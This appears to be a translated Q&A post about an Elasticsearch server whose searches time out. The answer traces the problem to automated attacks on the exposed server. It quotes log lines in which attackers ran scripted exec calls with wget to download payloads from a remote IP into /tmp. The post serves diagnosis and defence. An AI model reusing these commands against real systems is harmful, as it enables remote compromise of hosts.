Elasticsearch在每个搜索请求上超时，直到重新启动

这是很尴尬的，因为elasticsearch的全部目的是搜索，但是我的某种方式已经失去了搜索的能力。

要点：

我已经安装了river（不知道它是否与它有关），这一步：https : //github.com/richardwilly98/elasticsearch-river-

mongodb/wiki

Elasticsearch已使用了5天，其索引的总大小小于1MB。

Elasticsearch连续4天没有问题，工作非常快。

除以下各项外，其他所有请求均正常 GET 'http://codename.es.domain:9200/_search'

任何形式的搜索。

群集运行状况很好。MongoDB很好。我可以创建新索引并为更多文档建立索引。

基本上，除非我停止请求，否则它甚至都不会超时。

使用官方的Elasticsearch客户端从NodeJS中获取：https

:

//www.npmjs.com/package/elasticsearch

我收到：

{
  "error": {
      "message": "Request Timeout after 30000ms"
    }
}

并运行的唯一方法是 。

当我们有以前的主机时，已经发生了此问题。

我们必须每三天执行一次对Elasticsearch的重新启动，但是直到我们不得不每小时重新启动一次为止，它一直在恶化。

回答：

对不安全的服务器的自动攻击。

根据elasticsearch发表的文章：

https://www.elastic.co/blog/scripting-

security/

1.不要对公众开放Elasticsearch

我们在人偶服务器中添加了iptables规则，以应用所有的Elasticsearch服务器。

我们犯了那个错误，不幸的是我们付出了代价。我们现在又回来跑步了。

根据日志，我发现一些非常可疑的东西

我将修剪主要部分：

exec(\"wget -O /tmp/xiao3 http://121.42.221.14:666/xiao3\")

这是机器人入侵的一种形式，因为我们没有一个叫xiao的人，或者我们没有在中国托管我们的服务器（根据GEO-IP），所以我们怀疑这条线。

根据上述文章：

最近，我们发现恶意用户利用公开可用的Elasticsearch服务器来访问主机系统。有几种方法可以监视您是否受到此安全漏洞的影响。

最近的攻击正在生成类似于以下内容的Elasticsearch日志：

[Error: Runtime.getRuntime().exec("wget http://XXX.XXX.XX.XXX/.../4.sh -O /tmp/.4.sh").getInputStream(): Cannot run program "wget": error=2, No such file or directory]
Caused by: java.io.IOException: Cannot run program "wget": error=2, No such file or directory
[Error: Runtime.getRuntime().exec("wget http://XXX.XXX.XX.XXX/.../getsetup.hb").getInputStream(): Cannot run program "wget": error=2, No such file or directory]
After vulnerable systems have been exploited, the infected system is running code in the /boot/.iptables file as well as modified /etc/init.d scripts.

您还应该监视异常的系统负载，并对系统进行彻底的审核。

确保如果检测到任何被利用的系统，则在删除或重新安装受影响的系统后，请按照上述步骤保护您的Elasticsearch节点。

黑客应用了一些令人讨厌的查询，使我们的Elasticsearch停止运行。

以上是 Elasticsearch在每个搜索请求上超时，直到重新启动 的全部内容， 来源链接： utcz.com/qa/419474.html
